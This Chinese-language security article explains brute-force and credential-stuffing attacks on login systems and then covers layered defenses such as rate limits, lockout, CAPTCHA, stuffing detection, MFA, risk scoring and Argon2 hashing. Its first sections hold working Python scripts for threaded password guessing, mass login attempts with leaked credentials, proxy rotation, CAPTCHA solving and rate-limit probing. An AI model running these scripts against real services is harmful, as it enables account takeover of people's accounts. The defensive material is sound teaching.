一、攻击类型对比
1.1 暴力破解 vs 撞库
暴力破解（Brute Force）：
猜测密码 → 尝试所有可能的密码组合
针对单个或少数账号
防御方式：强密码 + 速率限制
撞库（Credential Stuffing）：
用泄露的用户名:密码对 → 尝试登录大量账号
攻击者知道某些用户名和密码是有效的（从其他网站泄露）
防御方式：检测异常登录模式 + 多因素认证 + 密码复用检测
1.2 攻击规模
暴力破解：
每秒几十次尝试 → 目标账户锁定
每秒几千次尝试 → 需要分布式 + 代理池 + 验证码绕过
撞库：
10万条泄露数据 × 目标站点的有效率 = 可能几千账号被盗
通常用分布式 botnet，每秒几万次请求
更难防御，因为密码本身是对的！
二、攻击工具解析
2.1 Burp Suite Intruder
Burp Suite Intruder 模块支持：
- 字典攻击（Sniper 模式）
- 组合攻击（Cluster Bomb / Pitchfork）
- 递归搜索（Battering Ram）
- 配置 payload 类型：字典、数字、用户名列表、邮箱列表
- 结果过滤器：响应长度、关键词、状态码、延迟差异
命令行工具：
burpsuite --intruder-config config.json
2.2 分布式暴力破解脚本
import requests
import threading
from queue import Queue
from concurrent.futures import ThreadPoolExecutor
TARGET_LOGIN = 'https://example.com/login'
USERNAME = 'admin'
PASSWORD_WORDLIST = '/path/to/rockyou.txt'
class BruteForcer:
def __init__(self, target: str, username: str, wordlist: str, threads: int = 50):
self.target = target
self.username = username
self.passwords = self._load_wordlist(wordlist)
self.threads = threads
self.found = threading.Event()
self.found_password = None
self.tried = 0
self.lock = threading.Lock()
def _load_wordlist(self, path: str) -> list:
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
return [line.strip() for line in f if line.strip()]
def _try_password(self, password: str) -> bool:
if self.found.is_set():
return False
data = {'username': self.username, 'password': password}
try:
resp = requests.post(self.target, data=data, timeout=10)
# 根据实际响应判断
if resp.status_code == 200 and '登录成功' in resp.text:
with self.lock:
if not self.found.is_set():
self.found_password = password
self.found.set()
return True
elif resp.status_code == 429:
# 被限速了，等一会
import time
time.sleep(2)
except requests.exceptions.RequestException as e:
pass
with self.lock:
self.tried += 1
if self.tried % 100 == 0:
print(f"[*] Tried {self.tried}/{len(self.passwords)}...")
return False
def run(self):
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = []
for pw in self.passwords:
if self.found.is_set():
break
futures.append(executor.submit(self._try_password, pw))
for future in futures:
if self.found.is_set():
break
future.result()
if self.found_password:
print(f"
[+] FOUND! Password for '{self.username}': {self.found_password}")
else:
print(f"
[-] Password not found in {len(self.passwords)} wordlist")
if __name__ == '__main__':
bf = BruteForcer(TARGET_LOGIN, USERNAME, PASSWORD_WORDLIST, threads=30)
bf.run()
2.3 撞库脚本
import asyncio
import aiohttp
from aiohttp import TCPConnector
class CredentialStuffer:
def __init__(self, target: str, credentials_file: str, concurrency: int = 100):
self.target = target
self.credentials = self._load_credentials(credentials_file)
self.concurrency = concurrency
self.results = {'success': [], 'fail': 0, 'errors': 0}
def _load_credentials(self, path: str) -> list:
"""加载 user:password 格式的撞库数据"""
creds = []
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
for line in f:
line = line.strip()
if ':' in line:
user, password = line.split(':', 1)
creds.append((user, password))
return creds
async def _login(self, session: aiohttp.ClientSession, username: str, password: str, sem: asyncio.Semaphore):
async with sem:
try:
async with session.post(
self.target,
json={'username': username, 'password': password},
timeout=aiohttp.ClientTimeout(total=10),
) as resp:
body = await resp.text()
# 撞库成功的特征：响应结构变化 / 跳转到 dashboard
if resp.status == 200 and ('dashboard' in body.lower() or 'welcome' in body.lower()):
self.results['success'].append({
'username': username,
'password': password,
})
print(f"[+] HIT: {username}:{password}")
else:
self.results['fail'] += 1
except Exception as e:
self.results['errors'] += 1
async def run(self):
sem = asyncio.Semaphore(self.concurrency)
connector = TCPConnector(limit=self.concurrency)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = []
for username, password in self.credentials:
tasks.append(self._login(session, username, password, sem))
await asyncio.gather(*tasks)
print(f"
[*] Results:")
print(f" Total tried: {len(self.credentials)}")
print(f" Hits: {len(self.results['success'])}")
print(f" Errors: {self.results['errors']}")
asyncio.run(CredentialStuffer(TARGET_LOGIN, CREDENTIALS_FILE, concurrency=200).run())
三、暴力破解绕过技巧
3.1 分布式 + 代理池
# 使用代理池轮换 IP，避免单 IP 被封
PROXY_POOL = [
'http://proxy1:port',
'http://proxy2:port',
'socks5://proxy3:port',
]
def get_random_proxy() -> dict:
import random
proxy = random.choice(PROXY_POOL)
return {'http': proxy, 'https': proxy}
def try_login_with_proxy(username: str, password: str) -> bool:
try:
resp = requests.post(
TARGET,
json={'username': username, 'password': password},
proxies=get_random_proxy(),
timeout=5,
)
return 'dashboard' in resp.url
except:
return False
3.2 验证码绕过
# 方案1：OCR 识别简单验证码
import pytesseract
from PIL import Image
import io
def solve_captcha(image_bytes: bytes) -> str:
img = Image.open(io.BytesIO(image_bytes))
# 预处理：灰度化、二值化、去噪
img = img.convert('L')
img = img.point(lambda x: 0 if x < 128 else 255)
return pytesseract.image_to_string(img, config='--psm 7').strip()
# 方案2：第三方打码平台 API
def solve_with_2captcha(image_base64: str) -> str:
"""使用 2captcha 服务绕过验证码"""
resp = requests.post('https://2captcha.com/in.php', data={
'key': 'your_api_key',
'method': 'base64',
'body': image_base64,
'json': 1,
})
task_id = resp.json()['request']
# 轮询等待结果
for _ in range(30):
time.sleep(1)
r = requests.get('https://2captcha.com/res.php', params={
'key': 'your_api_key',
'action': 'get',
'id': task_id,
'json': 1,
})
if r.json()['status'] == 1:
return r.json()['request']
return None
3.3 分阶段速率限制探测
# 攻击者可以测试出每个账户/IP 的限速阈值
def find_rate_limit_threshold(target: str, username: str) -> int:
"""找到触发限速的最小尝试次数"""
for attempt_count in range(1, 50):
session = requests.Session()
blocked = False
for i in range(attempt_count):
resp = session.post(target, json={
'username': username,
'password': f'wrong_pass_{i}',
})
if resp.status_code == 429:
blocked = True
break
if blocked:
print(f"[*] Rate limit kicks in at {attempt_count} attempts per session")
return attempt_count
print("[*] No rate limit detected up to 50 attempts")
return 50
四、防御策略一：基础速率限制
4.1 基于 IP 的速率限制
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app=app,
key_func=get_remote_address, # 按 IP 限流
default_limits=["200 per day", "50 per hour"],
storage_uri="redis://localhost:6379",
)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # 登录接口特殊限流
def login():
# ...
4.2 基于账户的速率限制（更重要）
# 🔑 不能只按 IP 限流（攻击者用代理池绕过）
# 必须按 IP + 目标用户名 组合限流
def get_login_limit_key():
username = request.json.get('username', '')
ip = request.remote_addr
# 按 "IP + username" 组合做细粒度限速
return f"{ip}:{username}"
# 登录接口：5次/分钟/IP-用户名 组合
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute", key_func=get_login_limit_key)
def login():
# ...
4.3 分级限速策略
class AdaptiveRateLimiter:
"""自适应速率限制：失败次数越多，等待时间越长"""
def __init__(self, redis_client):
self.redis = redis_client
self.max_attempts = 5
self.lockout_durations = [60, 300, 1800, 3600, 86400] # 1分钟→5分钟→30分钟→1小时→24小时
def check(self, username: str, ip: str) -> tuple[bool, int]:
"""返回 (是否允许, 剩余锁定秒数)"""
key = f'login_attempts:{username}'
attempts = int(self.redis.get(key) or 0)
if attempts >= self.max_attempts:
lock_key = f'login_lock:{username}'
ttl = self.redis.ttl(lock_key)
if ttl > 0:
return False, ttl
return True, 0
def record_failure(self, username: str, ip: str):
key = f'login_attempts:{username}'
attempts = int(self.redis.incr(key))
self.redis.expire(key, 86400) # 24小时重置
# 超过阈值后锁定账号
if attempts >= self.max_attempts:
level = min(attempts - self.max_attempts, len(self.lockout_durations) - 1)
lockout_duration = self.lockout_durations[level]
lock_key = f'login_lock:{username}'
self.redis.setex(lock_key, lockout_duration, 'locked')
# 同时记录 IP，识别攻击来源
self.redis.sadd('blocked_ips', ip)
def record_success(self, username: str):
# 登录成功后清除计数
self.redis.delete(f'login_attempts:{username}')
self.redis.delete(f'login_lock:{username}')
五、防御策略二：验证码（CAPTCHA）
5.1 分级验证码策略
def should_require_captcha(username: str, ip: str, session_count: int) -> bool:
"""判断当前请求是否需要验证码"""
redis = get_redis()
# 情况1：该 IP 失败次数 >= 3
ip_failures = redis.get(f'login_failures:ip:{ip}') or 0
if int(ip_failures) >= 3:
return True
# 情况2：该账户失败次数 >= 2
user_failures = redis.get(f'login_failures:user:{username}') or 0
if int(user_failures) >= 2:
return True
# 情况3：同一 IP 短时间请求频率过高
recent_count = redis.get(f'login_recent:{ip}') or 0
if int(recent_count) >= 10: # 1分钟内 10+ 次
return True
# 情况4：新设备 / 新 IP 登录
known_ips = redis.smembers(f'known_ips:{username}')
if known_ips and ip not in known_ips:
return True
return False
@app.route('/login', methods=['POST'])
def login():
username = request.json.get('username')
password = request.json.get('password')
captcha_token = request.json.get('captcha_token')
# 判断是否需要验证码
if should_require_captcha(username, request.remote_addr, request.session_count):
if not captcha_token or not verify_captcha(captcha_token):
return jsonify({'error': 'captcha required or invalid'}), 400
# 继续正常登录逻辑...
5.2 滑块验证码后端校验
import hmac
import hashlib
import time
import json
def generate_slide_captcha() -> dict:
"""生成滑块验证码"""
secret = 'captcha_signing_secret'
target_x = random.randint(80, 200) # 目标位置
timestamp = int(time.time())
payload = json.dumps({
'tx': target_x,
'ts': timestamp,
'expires': timestamp + 300,
})
signature = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest()
token = f"{base64.b64encode(payload.encode()).decode()}.{signature}"
return {
'captcha_token': token,
'target_x_hint': None, # 前端不需要，这是安全的关键
'bg_image': generate_captcha_image(),
'slider_image': generate_slider_piece(target_x),
}
def verify_slide_captcha(captcha_token: str, user_x: int) -> bool:
"""验证滑块位置"""
secret = 'captcha_signing_secret'
try:
encoded_payload, signature = captcha_token.rsplit('.', 1)
payload = json.loads(base64.b64decode(encoded_payload))
# 校验签名
expected_sig = hmac.new(secret.encode(), encoded_payload.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(expected_sig, signature):
return False
# 校验时效
if payload['expires'] < time.time():
return False
# 校验位置（允许 ±5px 误差）
target_x = payload['tx']
if abs(user_x - target_x) > 5:
return False
return True
except Exception:
return False
六、防御策略三：撞库检测
6.1 撞库行为特征
撞库的典型特征：
1. 短时间内尝试大量不同用户名的登录
2. 每个用户名只尝试 1-2 个密码（因为撞库数据中密码是对的）
3. 登录失败比例极高（>95%）
4. 来自同一批 IP 段 / 代理池
5. 无正常用户行为（没有先访问注册页、忘记密码页等）
6.2 撞库检测引擎
from collections import defaultdict
import time
class CredentialStuffingDetector:
def __init__(self, redis_client):
self.redis = redis_client
self.config = {
'window': 300, # 5 分钟窗口
'max_distinct_users': 100, # 窗口内尝试的不同用户名上限
'max_fail_rate': 0.9, # 失败率上限（超过则判定撞库）
'min_attempts': 50, # 最小尝试次数
}
def record_attempt(self, ip: str, username: str, success: bool):
pipe = self.redis.pipeline()
window_start = int(time.time())
# 该 IP 在窗口内尝试过的用户名集合
pipe.sadd(f'login_attempts:{ip}:{window_start // self.config["window"]}', username)
pipe.expire(f'login_attempts:{ip}:{window_start // self.config["window"]}', self.config['window'] + 60)
# 成功/失败计数
key = f'login_stats:{ip}:{window_start // self.config["window"]}'
if success:
pipe.hincrby(key, 'success', 1)
else:
pipe.hincrby(key, 'fail', 1)
pipe.expire(key, self.config['window'] + 60)
pipe.execute()
def is_credential_stuffing(self, ip: str) -> bool:
current_window = int(time.time()) // self.config['window']
key = f'login_stats:{ip}:{current_window}'
set_key = f'login_attempts:{ip}:{current_window}'
stats = self.redis.hgetall(key)
distinct_users = self.redis.scard(set_key)
total = int(stats.get(b'success', 0)) + int(stats.get(b'fail', 0))
if total < self.config['min_attempts']:
return False
fail_rate = int(stats.get(b'fail', 0)) / total
is_attack = (
fail_rate > self.config['max_fail_rate']
and distinct_users > self.config['max_distinct_users']
)
if is_attack:
self.redis.sadd('attacker_ips', ip)
return is_attack
def block_if_detected(self, ip: str) -> bool:
"""如果检测到撞库，临时封禁 IP"""
if self.is_credential_stuffing(ip):
self.redis.setex(f'ip_blocked:{ip}', 3600, 'credential_stuffing')
return True
return False
七、防御策略四：多因素认证（MFA）
7.1 TOTP（基于时间的一次性密码）
import pyotp
def setup_totp(user_id: str) -> dict:
"""为用户配置 TOTP"""
secret = pyotp.random_base32()
totp = pyotp.TOTP(secret)
# 生成二维码链接（用 Google Authenticator / Authy 扫描）
provisioning_uri = totp.provisioning_uri(
name=f"user{user_id}@example.com",
issuer_name="Example App",
)
# 存储 secret（加密存储！）
encrypted_secret = encrypt(secret)
store_encrypted(user_id, encrypted_secret)
return {
'secret': secret, # 仅展示一次
'qr_code_uri': provisioning_uri,
}
def verify_totp(user_id: str, otp: str) -> bool:
"""验证 TOTP 代码"""
encrypted_secret = get_encrypted(user_id)
secret = decrypt(encrypted_secret)
totp = pyotp.TOTP(secret)
# 允许 ±1 个时间步长的偏差
return totp.verify(otp, valid_window=1)
7.2 分级 MFA 触发
def should_require_mfa(user: User, request) -> bool:
"""判断当前登录是否需要 MFA"""
# 情况 1：新设备 / 新 IP 登录
device_fingerprint = get_device_fingerprint(request)
known_devices = user.known_devices # 用户已信任的设备
if device_fingerprint not in known_devices:
return True
# 情况 2：地理位置突变
current_location = geolocate(request.remote_addr)
last_login_location = user.last_login_location
if last_login_location and not is_geo_near(current_location, last_login_location):
return True
# 情况 3：敏感操作
if request.endpoint in SENSITIVE_OPERATIONS:
return True
# 情况 4：用户开启了始终 MFA
if user.require_mfa_always:
return True
return False
SENSITIVE_OPERATIONS = [
'change_password',
'change_email',
'transfer_funds',
'export_data',
'change_mfa_settings',
'admin_console',
]
八、防御策略五：设备指纹与行为分析
8.1 设备指纹采集（前端）
async function collectDeviceFingerprint() {
const components = {
// 硬件信息
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
screenWidth: screen.width,
screenHeight: screen.height,
colorDepth: screen.colorDepth,
pixelRatio: window.devicePixelRatio,
// 软件信息
userAgent: navigator.userAgent,
language: navigator.language,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
platform: navigator.platform,
vendor: navigator.vendor,
// 字体列表（Canvas 指纹）
fonts: getFontFingerprint(),
// Canvas 指纹
canvas: getCanvasFingerprint(),
// WebGL 指纹
webgl: getWebGLFingerprint(),
// 其他
doNotTrack: navigator.doNotTrack,
cookiesEnabled: navigator.cookieEnabled,
plugins: Array.from(navigator.plugins).map(p => p.name),
};
// 计算指纹 hash
const hashInput = JSON.stringify(components);
const hashBuffer = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(hashInput));
const hashArray = Array.from(new Uint8Array(hashBuffer));
const fingerprint = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
return fingerprint;
}
8.2 异常行为分析（服务端）
from datetime import datetime
class BehaviorAnalyzer:
def __init__(self, redis_client):
self.redis = redis_client
def calculate_risk_score(self, user: User, ip: str, fingerprint: str, request) -> float:
"""计算本次登录的风险分数（0-100，越高越危险）"""
risk = 0.0
# 因素1: IP 信誉
ip_reputation = self._get_ip_reputation(ip) # 0-100
risk += ip_reputation * 0.3
# 因素2: 设备是否已知
known_devices = self.redis.smembers(f'known_devices:{user.id}')
if fingerprint not in known_devices:
risk += 25 # 新设备
# 因素3: 地理位置
current_geo = self._geolocate(ip)
last_geo = user.last_login_geo
if last_geo and not self._geo_near(current_geo, last_geo):
distance = self._geo_distance(current_geo, last_geo)
if distance > 1000: # 超过 1000km
risk += 30
# 因素4: 时间模式
current_hour = datetime.now().hour
usual_hours = user.usual_active_hours # [9, 10, 11, 14, 15, 16, 17]
if current_hour not in usual_hours:
risk += 15
# 因素5: 账号特征
if user.failed_logins_24h > 5:
risk += 20
if not user.email_verified:
risk += 10
# 封顶
return min(risk, 100)
def decide_action(self, risk_score: float) -> str:
"""根据风险分数决定防御动作"""
if risk_score >= 80:
return 'block' # 直接拒绝
elif risk_score >= 50:
return 'require_mfa' # 强制 MFA
elif risk_score >= 30:
return 'notify' # 允许但通知用户
else:
return 'allow' # 正常放行
九、密码安全策略
9.1 密码强度验证
import re
def validate_password(password: str, username: str) -> dict:
"""验证密码强度，返回 {valid: bool, score: int, issues: list}"""
issues = []
score = 0
# 长度
if len(password) < 12:
issues.append('password too short (min 12 chars)')
elif len(password) >= 16:
score += 3
# 大写字母
if re.search(r'[A-Z]', password):
score += 1
else:
issues.append('no uppercase letter')
# 小写字母
if re.search(r'[a-z]', password):
score += 1
else:
issues.append('no lowercase letter')
# 数字
if re.search(r'[0-9]', password):
score += 1
else:
issues.append('no digit')
# 特殊字符
if re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
score += 2
else:
issues.append('no special character')
# 不能包含用户名
if username and username.lower() in password.lower():
issues.append('password contains username')
score -= 2
# 不能是已知弱密码
if is_known_weak_password(password):
issues.append('password found in known breach databases')
score -= 5
# 检查密码泄露（HaveIBeenPwned API）
if is_password_pwned(password):
issues.append('password appears in data breaches (haveibeenpwned.com)')
score -= 10
# 长度加分
if len(password) >= 20:
score += 2
return {
'valid': len(issues) == 0 and score >= 5,
'score': max(0, min(10, score)),
'issues': issues,
}
def is_password_pwned(password: str) -> bool:
"""检查密码是否在 HaveIBeenPwned 泄露数据库中"""
import hashlib
import requests
sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
resp = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
if resp.status_code != 200:
return False
return suffix in resp.text
9.2 密码哈希（不要用 MD5/SHA，要用 bcrypt/Argon2）
import argon2
hasher = argon2.PasswordHasher(
time_cost=3, # 迭代次数
memory_cost=65536, # 64MB 内存
parallelism=4, # 并行度
hash_len=32, # 输出长度
type=argon2.Type.ID, # Argon2id（推荐，抗侧信道 + 抗 GPU）
)
def hash_password(password: str) -> str:
return hasher.hash(password)
def verify_password(password: str, hashed: str) -> bool:
try:
hasher.verify(hashed, password)
return True
except argon2.exceptions.VerifyMismatchError:
return False
十、防御体系全景
┌─────────────────────────────────────────────────────────┐
│ 攻击防御分层 │
├─────────────────────────────────────────────────────────┤
│ Layer 1: 网关层 │
│ - IP 黑名单 / 声誉检测 │
│ - DDoS 防护 │
│ - TLS + 证书透明 │
├─────────────────────────────────────────────────────────┤
│ Layer 2: 应用层 │
│ - 速率限制（IP + 用户名组合） │
│ - 渐进式锁定（5→10→30分钟） │
│ - 分级验证码（滑动/点选/计算） │
├─────────────────────────────────────────────────────────┤
│ Layer 3: 智能风控 │
│ - 设备指纹 + 行为分析 │
│ - 撞库检测引擎 │
│ - 风险评分 → block / MFA / notify │
├─────────────────────────────────────────────────────────┤
│ Layer 4: 凭证安全 │
│ - 强密码策略 + Pwned 检测 │
│ - Argon2 哈希存储 │
│ - MFA（TOTP / WebAuthn / SMS + 备份码） │
│ - 会话绑定 + 异常告警 │
└─────────────────────────────────────────────────────────┘
十一、审计清单
- 登录接口是否有限速（IP + 用户名双维度）
- 是否实现了渐进式锁定策略
- 是否有验证码分级触发机制
- 是否检测撞库行为（失败率 + 用户名多样性）
- 是否启用了 Argon2/bcrypt 密码哈希
- 是否集成了 HaveIBeenPwned 密码检查
- 是否支持 MFA（且对新设备强制）
- 是否有设备指纹和风险评分系统
- 是否有 IP 声誉服务集成
- 是否有登录异常告警机制
十二、总结
暴力破解和撞库攻击的核心区别在于：暴力破解是猜你不知道的密码，撞库是用已知对的密码尝试你的账号。防御思路也因此不同：
- 防暴力破解：让"猜"变难——限速、锁定、验证码、强密码策略
- 防撞库：让"对的密码"也不能直接登录——撞库检测、设备指纹、MFA
现代防御不再是单一技术，而是多层级、自适应、基于风险的综合体系。
十三、参考资料
- OWASP Authentication Cheat Sheet
- NIST SP 800-63B: Digital Identity Guidelines
- HaveIBeenPwned API
- argon2 reference implementation
- Cloudflare Turnstile / hCaptcha / reCAPTCHA v3
- OWASP Credential Stuffing Prevention Cheat Sheet